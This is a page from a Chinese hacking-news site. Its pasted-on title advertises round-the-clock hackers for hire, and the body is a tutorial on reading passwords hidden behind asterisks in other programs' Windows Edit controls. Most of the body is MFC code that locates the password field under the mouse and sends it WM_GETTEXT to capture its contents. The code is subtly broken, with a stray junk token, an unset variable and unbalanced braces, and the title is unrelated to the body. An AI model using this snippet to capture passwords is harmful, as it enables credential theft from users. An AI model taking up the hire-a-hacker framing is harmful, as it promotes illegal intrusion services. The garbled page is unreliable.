网上24小时接单的黑客 真的黑客先办事后付款

网上24小时接单的黑客 真的黑客先办事后付款

黑客平台hacker2020-10-28 19:00:00196272A+A-

Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。 

二、黑客软件工作方法: 

  首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下: 

  //将客户坐标转换成屏幕坐标 
  ClientToScreen(&point); 

  //返回一个包含指定屏幕坐标点的窗口 
  CWnd* pWnd = CWnd::WindowFromPoint(point); 

if (pWnd) 

  //获取窗口句柄 / 
  HWND hwndCurr = pWnd->GetSafeHwnd(); 

  if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) != (::GetWindowThreadProcessId (hwndCurr, NULL))) 
  { 
    char lpClassName[255]; 

    //获取类名 
    if (::GetClassName(hwndCurr, lpClassName, 255)) 
    { 
      //判断是否是Edit控件 } 
      if (0 == m_strWndClass.CompareNoCase("EDIT")) 
      { 
      //获取窗口风格 
      LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE); 

      //如果设置了ES_PASSWORD属性 
      if (lStyle & ES_PASSWORD) 
      { 
        char szText[255]; 

  //通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息 
        ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); //密码已保存在szText中 
        m_strPassword = szText; 
     } 
   } 




上述代码中值得注意的有以下几个关键地方: 

  ClientToScreen(&point); 
  CWnd* pWnd = CWnd::WindowFromPoint(point); 
  HWND hwndCurr = pWnd->GetSafeHwnd(); 

  这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。 

  ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); vCVBBUQhR 

  这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。 

(责任编辑:网络)

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理